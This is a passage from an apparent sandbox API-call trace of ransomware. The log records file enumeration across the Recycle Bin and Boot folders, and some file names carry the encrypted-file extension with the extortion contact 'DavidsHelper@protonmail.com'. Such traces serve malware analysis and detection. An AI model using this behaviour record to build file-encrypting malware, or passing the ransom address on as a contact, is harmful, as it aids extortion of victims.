ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0194.668] GetProcessHeap () returned 0x550000 [0194.668] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0194.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.669] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.669] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xde7c2ea0, ftCreationTime.dwHighDateTime=0x1d696f3, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0194.669] SetEvent (hEvent=0x134) returned 1 [0194.669] ResetEvent (hEvent=0x138) returned 1 [0194.669] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6bc3920, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6bc3920, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6f2f8c0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0194.669] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6bc3920, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6bc3920, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6f2f8c0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0194.669] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.669] GetProcessHeap () returned 0x550000 [0194.669] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0194.669] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0194.670] FindClose (in: hFindFile=0x572470 | out: hFindFile=0x572470) returned 1 [0194.670] GetProcessHeap () returned 0x550000 [0194.670] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a3368 | out: hHeap=0x550000) returned 1 [0194.670] FindNextFileW (in: hFindFile=0x572430, lpFindFileData=0x275f7f8 | out: lpFindFileData=0x275f7f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0194.670] GetProcessHeap () returned 0x550000 [0194.670] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a4370 [0194.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572470 [0194.670] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x6d66840, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.670] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0194.671] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0194.671] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0194.671] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0194.671] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6d66840, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x6d66840, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x7d77cc0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="BOOTST~1.EKI")) returned 1 [0194.671] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0194.671] GetProcessHeap () returned 0x550000 [0194.671] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.672] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.672] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.672] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.672] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.672] GetProcessHeap () returned 0x550000 [0194.672] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.672] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0194.672] GetProcessHeap () returned 0x550000 [0194.672] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.673] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.673] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.673] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.673] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.673] GetProcessHeap () returned 0x550000 [0194.673] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.673] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0194.673] GetProcessHeap () returned 0x550000 [0194.673] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.674] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.674] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.674] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.674] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.674] GetProcessHeap () returned 0x550000 [0194.674] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.674] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0194.674] GetProcessHeap () returned 0x550000 [0194.675] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.675] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.675] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.675] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.675] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.675] GetProcessHeap () returned 0x550000 [0194.675] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.675] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0194.675] GetProcessHeap () returned 0x550000 [0194.676] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.676] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.676] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.676] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0194.676] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0194.676] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.676] GetProcessHeap () returned 0x550000 [0194.677] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.677] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0194.677] GetProcessHeap () returned 0x550000 [0194.677] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.677] FindFirstFileW (in: 